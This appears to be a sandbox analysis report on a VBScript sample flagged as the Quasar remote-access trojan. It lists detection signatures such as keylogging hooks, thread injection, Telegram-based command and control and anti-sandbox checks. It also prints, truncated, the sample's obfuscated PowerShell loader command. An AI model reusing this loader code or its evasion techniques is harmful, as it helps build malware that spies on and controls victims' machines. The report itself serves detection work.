Windows
Analysis Report
test.vbs
Overview
General Information
Detection
Quasar
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Suricata IDS alerts for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected Quasar RAT
.NET source code contains potential unpacker
Creates autostart registry keys with suspicious values (likely registry only malware)
Hides that the sample has been downloaded from the Internet (zone.identifier)
Installs a global keyboard hook
Joe Sandbox ML detected suspicious sample
Modifies the context of a thread in another process (thread injection)
Sample uses string decryption to hide its real strings
Sigma detected: MSHTA Suspicious Execution 01
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Uses the Telegram API (likely for C&C communication)
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes or reads registry keys via WMI
Writes registry values via WMI
Wscript starts Powershell (via cmd or directly)
Yara detected Costura Assembly Loader
AV process strings found (often used to terminate AV products)
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Stores large binary data to the registry
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 7956 cmdline:
C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\test. vbs" MD5: A47CBE969EA935BDD3AB568BB126BC80) WmiPrvSE.exe (PID: 8116 cmdline:
C:\Windows \system32\ wbem\wmipr vse.exe -s ecured -Em bedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51) cmd.exe (PID: 8164 cmdline:
"C:\Window s\System32 \cmd.exe" /c C:\Wind ows\System 32\Windows PowerShell \v1.0\powe rshell.exe -Command "& {functi on iT93g([ byte[]]$E3 OXu) {Invo ke-Express ion -Debug -Verbose 'H6M$H6MwH 6MhH6MBH6M 3H6M2H6M=H 6M[H6MSH6M yH6MsH6MtH 6MeH6MmH6M .H6MTH6MeH 6MxH6MtH6M .H6MEH6MnH 6McH6MoH6M dH6MiH6MnH 6MgH6M]H6M :H6M:H6MUH 6MTH6MFH6M 8H6M.H6MGH 6MeH6MtH6M SH6MtH6MrH 6MiH6MnH6M gH6M(H6M$H 6MEH6M3H6M OH6MXH6MuH 6M)H6M'.Re place('H6M ', ''); re turn $whB3 2; } funct ion tiw6l( [byte[]]$Z Uv5N) {Inv oke-Expres sion -Debu g -Warning Action Inq uire -Verb ose -Infor mationActi on Ignore 'DTC$DTCqD TCKDTCaDTC GDTCiDTC=D TC[DTCBDTC iDTCtDTCCD TCoDTCnDTC vDTCeDTCrD TCtDTCeDTC rDTC]DTC:D TC:DTCTDTC oDTCIDTCnD TCtDTC3DTC 2DTC(DTC$D TCZDTCUDTC vDTC5DTCND TC,DTC0DTC )DTC;DTC'. Replace('D TC', ''); return $qK aGi; } $H2 oUx = iT93 g(0x74<#Ag F8G#>,0x52 <#sotVh#>, 0x6B<#IJTf o#>,0x58<# aq0EZ#>,0x 43<#lRyb0# >,0x36<#LD jCA#>,0x6A <#DRhTQ#>, 0x2B<#Nxos 5#>,0x34<# AjnVW#>,0x 5A<#vkssP# >,0x6F<#Nr 7dJ#>,0x52 <#lsoI1#>, 0x59<#pErV d#>,0x62<# tlAPZ#>,0x 79<#kBIJZ# >,0x47<#Hn cF5#>,0x70 <#hU1xu#>, 0x6F<#TUEJ h#>,0x4D<# cJg0H#>,0x 45<#w2R2e# >,0x75<#Qk dTi#>,0x6B <#LjyD9#>, 0x6B<#EPiN N#>,0x43<# YN4lF#>,0x 59<#bh0r2# >,0x46<#bf RBe#>,0x42 <#OWjkm#>, 0x51<#D0iP g#>,0x34<# pgAJc#>,0x 2F<#OkTmn# >,0x46<#k7 qw7#>,0x79 <#ntwbA#>, 0x64<#lRwj s#>,0x34<# lp8kK#>,0x 58<#gppFR# >,0x4F<#zh qOk#>,0x4B <#xLpYw#>, 0x4E<#Qpxm 0#>,0x58<# QDHOx#>,0x 78<#bubbt# >,0x2B<#gm scA#>,0x45 <#CSle7#>, 0x67<#LDi0 E#>,0x3D<# bmXwZ#>); $qBAgs = i T93g(0x4E< #C2Vu0#>,0 x47<#diaRv #>,0x30<#M GPf7#>,0x5 2<#QdMXt#> ,0x63<#AES om#>,0x50< #NfQKQ#>,0 x37<#uWoBq #>,0x49<#m Q8mb#>,0x3 6<#Z2Tts#> ,0x7A<#GxC 3u#>,0x75< #DZACY#>,0 x45<#yjqHj #>,0x65<#D RQB2#>,0x6 5<#tbNzN#> ,0x6F<#Cek 6P#>,0x32< #Hvj6e#>,0 x46<#YcXZM #>,0x6F<#Y Wlmr#>,0x7 7<#Ik0CX#> ,0x72<#KlS 1z#>,0x34< #jkNpr#>,0 x51<#dzExQ #>,0x3D<#K AunG#>,0x3 D<#f40yY#> ); $ZXcf8 = iT93g(0x 53<#b0lHD# >,0x6F<#Yn hiC#>,0x66 <#bdsGx#>, 0x74<#tOss n#>,0x77<# hRyWf#>,0x 61<#I0N5w# >,0x72<#Pu dcT#>,0x65 <#r8GlO#>, 0x5C<#wRgu t#>,0x4D<# lRnzO#>,0x 69<#SMHLu# >,0x63<#LC Pm3#>,0x72 <#galvu#>, 0x6F<#oAPw 7#>,0x73<# uIGer#>,0x 6F<#SvDmv# >,0x66<#tM Xra#>,0x74 <#EnRsF#>, 0x5C<#qtds l#>,0x57<# aquA7#>,0x 69<#lC02U# >,0x6E<#LG neX#>,0x64 <#X9m0B#>, 0x6F<#VC3V o#>,0x77<# HtgrI#>,0x 73<#IoY3L# >); $hBkVc = iT93g(0 x73<#jBCoD #>,0x31<#r VfXN#>,0x5 5<#zAwUn#> ,0x6E<#qHn rL#>,0x62< #YwZWy#>); $B8Dta = tiw6l(0x00 <#A7hB6#>, 0x00<#O0RD 9#>,0x00<# jXCyJ#>,0x 00<#OM184# >); $iSxCm = tiw6l(0 x45<#OOD4N #>,0x00<#I mgSK#>,0x0 0<#Ylexb#> ,0x00<#UUo 0E#>); $l8 XQf = tiw6 l(0x03<#CQ s75#>,0x00 <#GS7w6#>, 0x00<#gTbL R#>,0x00<# o3nyw#>); $kzu3X = $ null; func tion S2qwV ($ti34n) { Invoke-Exp